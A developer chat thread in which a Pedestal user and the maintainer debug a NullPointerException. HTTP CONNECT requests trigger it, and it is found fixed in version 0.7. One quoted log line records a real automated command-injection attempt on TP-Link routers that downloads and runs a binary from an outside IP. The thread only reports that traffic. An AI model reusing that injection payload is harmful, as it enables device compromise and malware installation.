pedestal

Mark Wardle 2024-05-23T06:42:28.155609Z

I have a server with an endpoint exposed to the internet. As is very common, one gets lots of automated hacking attempts: e.g. from my log:

2024-05-23 04:05:05,965 [qtp1453306659-25] TRACE com.eldrix.hermes.cmd.server - :request {:request-method :get, :uri "/cgi-bin/luci/;stok=/locale", :query-string "form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.142.182.70%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60)", :remote-addr "45.142.182.70"}
2024-05-23 04:27:24,513 [qtp1453306659-25] ERROR i.p.http.impl.servlet-interceptor - {:msg "error-stylobate triggered", :context {:io.pedestal.interceptor.chain/stack (#Interceptor{:name :io.pedestal.http.impl.servlet-interceptor/terminator-injector}), :io.pedestal.interceptor.chain/terminators (#object[io.pedestal.http.impl.servlet_interceptor$terminator_inject$fn__23298 0x55cc1e20 "io.pedestal.http.impl.servlet_interceptor$terminator_inject$fn__23298@55cc1e20"]), :servlet-response #object[org.eclipse.jetty.server.Response 0x29433018 "HTTP/1.1 200 \nDate: Thu, 23 May 2024 04:27:24 GMT\r\n\r\n"], :servlet #object[io.pedestal.http.servlet.FnServlet 0x1ab380ab "io.pedestal.http.servlet.FnServlet@1ab380ab"], :servlet-request #object[org.eclipse.jetty.server.Request 0x47f2da0e "Request(CONNECT )@47f2da0e"], :io.pedestal.interceptor.chain/execution-id 95, :servlet-config #object[org.eclipse.jetty.servlet.ServletHolder$Config 0x4b8eb7b2 "org.eclipse.jetty.servlet.ServletHolder$Config@4b8eb7b2"]}, :line 242}
clojure.lang.ExceptionInfo: java.lang.NullPointerException in Interceptor :io.pedestal.http.impl.servlet-interceptor/stylobate - Cannot invoke "String.substring(int)" because the return value of "javax.servlet.http.HttpServletRequest.getRequestURI()" is null
        at io.pedestal.interceptor.chain$throwable__GT_ex_info.invokeStatic(chain.clj:35)
        at io.pedestal.interceptor.chain$throwable__GT_ex_info.invoke(chain.clj:32)
        at io.pedestal.interceptor.chain$try_f.invokeStatic(chain.clj:57)
        at io.pedestal.interceptor.chain$try_f.invoke(chain.clj:44)
The issue is a weird crafted URL targeting TPLink routers I think. But this is causing an exception within pedestal with a NPE. Is this something I am doing wrong, or should there be a guard for that String/substring?

Mark Wardle 2024-05-23T06:48:35.696549Z

Caused by: java.lang.NullPointerException: Cannot invoke "String.substring(int)" because the return value of "javax.servlet.http.HttpServletRequest.getRequestURI()" is null
        at io.pedestal.http.request.servlet_support$servlet_path_info.invokeStatic(servlet_support.clj:27)
        at io.pedestal.http.request.servlet_support$servlet_path_info.invoke(servlet_support.clj:26)
        at io.pedestal.http.request.servlet_support$eval22813$fn__22828.invoke(servlet_support.clj:47)
        at io.pedestal.http.request$eval20388$fn__20389$G__20365__20394.invoke(request.clj:21)
        at io.pedestal.http.request$base_request_map.invokeStatic(request.clj:86)
        at io.pedestal.http.request$base_request_map.invoke(request.clj:76)
        at io.pedestal.http.request.map$servlet_request_map.invokeStatic(map.clj:32)
        at io.pedestal.http.request.map$servlet_request_map.invoke(map.clj:31)
        at io.pedestal.http.impl.servlet_interceptor$enter_stylobate.invokeStatic(servlet_interceptor.clj:198)
        at io.pedestal.http.impl.servlet_interceptor$enter_stylobate.invoke(servlet_interceptor.clj:195)
        at io.pedestal.interceptor.chain$try_f.invokeStatic(chain.clj:54)
        ... 41 common frames omitted
2024-05-23 04:27:24,519 [qtp1453306659-25] ERROR i.p.http.impl.servlet-interceptor - {:msg "Servlet code threw an exception", :throwable #error {
 :cause "Cannot invoke \"String.substring(int)\" because the return value of \"javax.servlet.http.HttpServletRequest.getRequestURI()\" is null"
 :via
 [{:type clojure.lang.ExceptionInfo
   :message "java.lang.NullPointerException in Interceptor :io.pedestal.http.impl.servlet-interceptor/stylobate - Cannot invoke \"String.substring(int)\" because the return value of \"javax.servlet.http.HttpServletRequest.getRequestURI()\" is null"
   :data {:execution-id 95, :stage :enter, :interceptor :io.pedestal.http.impl.servlet-interceptor/stylobate, :exception-type :java.lang.NullPointerException, :exception #error {
 :cause "Cannot invoke \"String.substring(int)\" because the return value of \"javax.servlet.http.HttpServletRequest.getRequestURI()\" is null"
 :via
 [{:type java.lang.NullPointerException
   :message "Cannot invoke \"String.substring(int)\" because the return value of \"javax.servlet.http.HttpServletRequest.getRequestURI()\" is null"
   :at [io.pedestal.http.request.servlet_support$servlet_path_info invokeStatic "servlet_support.clj" 27]}]
 :trace
 [[io.pedestal.http.request.servlet_support$servlet_path_info invokeStatic "servlet_support.clj" 27]
  [io.pedestal.http.request.servlet_support$servlet_path_info invoke "servlet_support.clj" 26]
  [io.pedestal.http.request.servlet_support$eval22813$fn__22828 invoke "servlet_support.clj" 47]
  [io.pedestal.http.request$eval20388$fn__20389$G__20365__20394 invoke "request.clj" 21]
  [io.pedestal.http.request$base_request_map invokeStatic "request.clj" 86]
  [io.pedestal.http.request$base_request_map invoke "request.clj" 76]

Mark Wardle 2024-05-24T15:08:09.977209Z

Hi. I've reproduced the issue. The CONNECT entry in the exception thrown was the clue. I can reproduce locally by simply running my server - it runs on port 8080, and then I set that address as a http proxy:

Mark Wardle 2024-05-24T15:09:37.224479Z

http --proxy https: 

Mark Wardle 2024-05-24T15:11:10.999269Z

One then ends up with this logged:

2024-05-24 16:09:16,575 [main] INFO  org.eclipse.jetty.server.Server - Started @6096ms
2024-05-24 16:09:19,241 [qtp281619353-37] ERROR i.p.http.impl.servlet-interceptor - {:msg "error-stylobate triggered", :context {:io.pedestal.interceptor.chain/stack (#Interceptor{:name :io.pedestal.http.impl.servlet-interceptor/terminator-injector}), :io.pedestal.interceptor.chain/terminators (#object[io.pedestal.http.impl.servlet_interceptor$terminator_inject$fn__23298 0x74bc7433 "io.pedestal.http.impl.servlet_interceptor$terminator_inject$fn__23298@74bc7433"]), :servlet-response #object[org.eclipse.jetty.server.Response 0x558d4fc4 "HTTP/1.1 200 \nDate: Fri, 24 May 2024 15:09:19 GMT\r\n\r\n"], :servlet #object[io.pedestal.http.servlet.FnServlet 0x175fc25e "io.pedestal.http.servlet.FnServlet@175fc25e"], :servlet-request #object[org.eclipse.jetty.server.Request 0x5ae6a8bd "Request(CONNECT )@5ae6a8bd"], :io.pedestal.interceptor.chain/execution-id 1, :servlet-config #object[org.eclipse.jetty.servlet.ServletHolder$Config 0x25ac7844 "org.eclipse.jetty.servlet.ServletHolder$Config@25ac7844"]}, :line 242}
clojure.lang.ExceptionInfo: java.lang.NullPointerException in Interceptor :io.pedestal.http.impl.servlet-interceptor/stylobate - Cannot invoke "String.substring(int)" because the return value of "javax.servlet.http.HttpServletRequest.getRequestURI()" is null
        at io.pedestal.interceptor.chain$throwable__GT_ex_info.invokeStatic(chain.clj:35)

hlship 2024-05-24T15:12:34.622919Z

So is it because you are directing HTTPs traffic to a HTTP endpoint?

Mark Wardle 2024-05-24T15:13:12.522269Z

Note the Request(CONNECT )@5ae6a8bd"in the exception - it would imply that if a user happens to run a server on a public cloud provider that reuses an IP address that someone has set as a proxy, (I know, a surprising set of eventualities), then pedestal throws an NPE.

Mark Wardle 2024-05-24T15:13:58.969939Z

No - I'm not running a proxy or redirecting anything - I'm simply running a REST API and was surprised to get these weird NPEs logged.

Mark Wardle 2024-05-24T15:14:31.979659Z

I suspect this public IP has been previously used as a proxy by someone else. Never seen this before on any of my deployed services!

Mark Wardle 2024-05-24T15:15:48.377059Z

But it doesn't appear to be my fault.... as in, it has got nothing to do with my routes - all of which are only HTTP GET endpoints.

hlship 2024-05-24T15:16:29.394069Z

I’ll do some more research once I get to work.

Mark Wardle 2024-05-24T15:17:25.150309Z

Interesting! And pretty amazing results from perplexity!

hlship 2024-05-24T15:17:49.197229Z

I don’t trust AI for code generation, but I love it for doing this kind of research.

❤️ 1
hlship 2024-05-24T15:18:11.364469Z

I like that Perplexity includes links to the sources of its results.

Mark Wardle 2024-05-24T15:18:27.897209Z

Nice to be able to send a link as well!

hlship 2024-05-24T15:18:44.453909Z

In summary, Perplexity is an excellent tool for researching technical documentation. 😜

hlship 2024-05-24T15:19:08.601979Z

(Perplexity always adds an “In summary” kind of paragraph at the end).

Mark Wardle 2024-05-24T15:20:46.582849Z

BTW thank you for your work on pedestal. I remember seeing your name years ago when I was looking at Apache Tapestry - although I'm afraid I never used it as I was on WebObjects back then.... and still have that in production!

hlship 2024-05-24T15:24:08.390359Z

Thanks, there’s still a lot of things in Tapestry I’m quite proud of (and other things that I put down to hubris). There’s a lot of parallels to things I built in Tapestry that are present in Clojure; Tapestry’s environmentals are essentially Clojure’s dynamic vars, for example. I wish I could take some of the techniques I learned during a stint on the Datomic team back in time to when I first designed Tapestry 5 however.

Mark Wardle 2024-05-24T15:32:12.618079Z

Have you been tempted to look at leveraging Clojure to build a more full-stack web application platform again? I'm using Fulcro and Pathom at the moment, which is good, and WO wasn't perfect at all, but there are a variety of trade-offs for both sets of solutions - which I guess is always going to be the case in the end... but still!

Mark Wardle 2024-05-24T19:15:15.861939Z

Update: I do not get the same exception while running 0.7.0-SNAPSHOT - I was previously running 0.6.4 - so this appears fixed already so apologies for any time wasted.

hlship 2024-05-24T19:16:31.113389Z

I don't think that's on my agenda. Been there, done that. I haven't looked at Biff (https://biffweb.com/) but it seems to have staked out that ground. My responsibilities at Nubank allow for work on server-side Pedestal, but not anything client-side.

👍 1
hlship 2024-05-24T19:17:04.501539Z

About the bug: if you can't reproduce it in 0.7 that's great, and it looks rare enough that fixing in 0.6 isn't likely worth the effort. I'll keep it in mind if anyone else hits the same thing.

👍 1
hlship 2024-05-24T19:17:36.066529Z

Also, it might be Jetty 9 vs. Jetty 11.

hlship 2024-05-24T19:18:05.871419Z

In which case, a fix in 0.6 would really be patching around the Jetty 9 behavior.

Mark Wardle 2024-05-24T19:28:15.504349Z

Yes! I think I was just unlucky with a cloud server IP address that someone is trying to use as a proxy... and the CONNECT op throwing an exception before my routes even got a look in.... I can confirm that with 0.7.0-beta-2 I'm getting no exceptions and the connect attempt logged:

2024-05-24 20:18:52,124 [qtp1069833820-37] TRACE com.eldrix.hermes.cmd.server - :request {:request-method :connect, :uri "/", :query-string nil, :remote-addr "127.0.0.1"}

1
hlship 2024-05-24T00:33:25.951709Z

That seems odd, but also odd that getRequestURI() returns null instead of an empty string. Do you know what the original request looked like?

hlship 2024-05-24T00:42:03.986489Z

If necessary we can fix this in 0.6 and 0.7 but I want more information before I get started.

Mark Wardle 2024-05-24T06:27:12.131099Z

Thanks @hlship - think your intuition is right - actually I need to do some more investigative work as I now suspect that request being logged was simply coincidental as I've seen the same exception appear without a request being logged. I was trying to reproduce the issue locally and couldn't.

Mark Wardle 2024-05-24T06:30:38.723799Z

Think the exception reports a CONNECT HTTP attempt, but I'm not logging that, as my server only supports a small number of GET operations, and as such, request isn't being logged conventionally.

Mark Wardle 2024-05-24T06:31:43.448059Z

Think the prior request logged is coincidence and in retrospect, it clearly is as it occured 22 minutes before the exception logged.